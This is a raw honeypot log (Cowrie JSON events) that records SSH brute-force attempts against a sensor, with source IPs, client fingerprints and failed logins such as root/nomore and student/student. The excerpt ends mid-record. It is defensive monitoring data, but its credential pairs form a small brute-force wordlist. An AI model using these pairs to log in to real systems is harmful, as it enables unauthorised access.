{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43382,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a9ce2db2a2d","protocol":"ssh","message":"New connection: 91.92.40.36:43382 (10.17.0.5:22) [session: 1a9ce2db2a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:09.327340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:10.590033Z","src_ip":"91.92.40.36","session":"1a9ce2db2a2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:10.594180Z","src_ip":"91.92.40.36","session":"1a9ce2db2a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":33714,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d93258d0683","protocol":"ssh","message":"New connection: 103.27.238.116:33714 (159.203.135.109:22) [session: 4d93258d0683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:12.900038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:12.904577Z","src_ip":"103.27.238.116","session":"4d93258d0683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:13.173017Z","src_ip":"103.27.238.116","session":"4d93258d0683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nomore","message":"login attempt [root/nomore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:13.983697Z","src_ip":"103.27.238.116","session":"4d93258d0683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:15.258985Z","src_ip":"103.27.238.116","session":"4d93258d0683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64646,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc107a2754a1","protocol":"ssh","message":"New connection: 91.92.40.36:64646 (10.17.0.5:22) [session: fc107a2754a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:16.389795Z"}
{"eventid":"cowrie.login.failed","username":"eduardo","password":"eduardo","message":"login attempt [eduardo/eduardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:16.765604Z","src_ip":"91.92.40.36","session":"1a9ce2db2a2d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:16.878388Z","src_ip":"91.92.40.36","session":"fc107a2754a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:16.881600Z","src_ip":"91.92.40.36","session":"fc107a2754a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1","message":"login attempt [user2/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:18.526768Z","src_ip":"91.92.40.36","session":"fc107a2754a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:19.119405Z","src_ip":"91.92.40.36","session":"1a9ce2db2a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:19.951499Z","src_ip":"91.92.40.36","session":"fc107a2754a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":36240,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f92f8066a12","protocol":"ssh","message":"New connection: 77.94.47.83:36240 (159.203.135.109:22) [session: 5f92f8066a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:23.361363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:23.365217Z","src_ip":"77.94.47.83","session":"5f92f8066a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:23.471592Z","src_ip":"77.94.47.83","session":"5f92f8066a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09081982","message":"login attempt [root/09081982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:23.792584Z","src_ip":"77.94.47.83","session":"5f92f8066a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":58138,"dst_ip":"10.17.0.5","dst_port":22,"session":"f71261c6a5bf","protocol":"ssh","message":"New connection: 87.106.47.28:58138 (10.17.0.5:22) [session: f71261c6a5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:23.843356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:23.847488Z","src_ip":"87.106.47.28","session":"f71261c6a5bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:23.944516Z","src_ip":"87.106.47.28","session":"f71261c6a5bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456@","message":"login attempt [root/abc123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:24.366226Z","src_ip":"87.106.47.28","session":"f71261c6a5bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:24.902104Z","src_ip":"77.94.47.83","session":"5f92f8066a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:25.478498Z","src_ip":"87.106.47.28","session":"f71261c6a5bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64738,"dst_ip":"10.17.0.5","dst_port":22,"session":"08bc9ebd3d5d","protocol":"ssh","message":"New connection: 91.92.40.36:64738 (10.17.0.5:22) [session: 08bc9ebd3d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:25.501278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:26.189855Z","src_ip":"91.92.40.36","session":"08bc9ebd3d5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:27.739622Z","src_ip":"91.92.40.36","session":"08bc9ebd3d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45432,"dst_ip":"10.17.0.5","dst_port":22,"session":"01684b651ebb","protocol":"ssh","message":"New connection: 91.92.40.36:45432 (10.17.0.5:22) [session: 01684b651ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:30.611624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:31.843635Z","src_ip":"91.92.40.36","session":"01684b651ebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:31.846786Z","src_ip":"91.92.40.36","session":"01684b651ebb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78494453430176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:32.474039Z","src_ip":"172.81.62.90","session":"3194695780bd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:34.929321Z","src_ip":"91.92.40.36","session":"08bc9ebd3d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28186,"dst_ip":"10.17.0.5","dst_port":22,"session":"74ae8a88d7b7","protocol":"ssh","message":"New connection: 91.92.40.36:28186 (10.17.0.5:22) [session: 74ae8a88d7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:37.329010Z"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo123","message":"login attempt [demo/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:38.942694Z","src_ip":"91.92.40.36","session":"01684b651ebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":48134,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd6d0bf54ea3","protocol":"ssh","message":"New connection: 103.84.236.242:48134 (159.203.135.109:22) [session: bd6d0bf54ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:39.152535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:39.157675Z","src_ip":"103.84.236.242","session":"bd6d0bf54ea3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:39.540095Z","src_ip":"91.92.40.36","session":"74ae8a88d7b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:39.543775Z","src_ip":"91.92.40.36","session":"74ae8a88d7b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 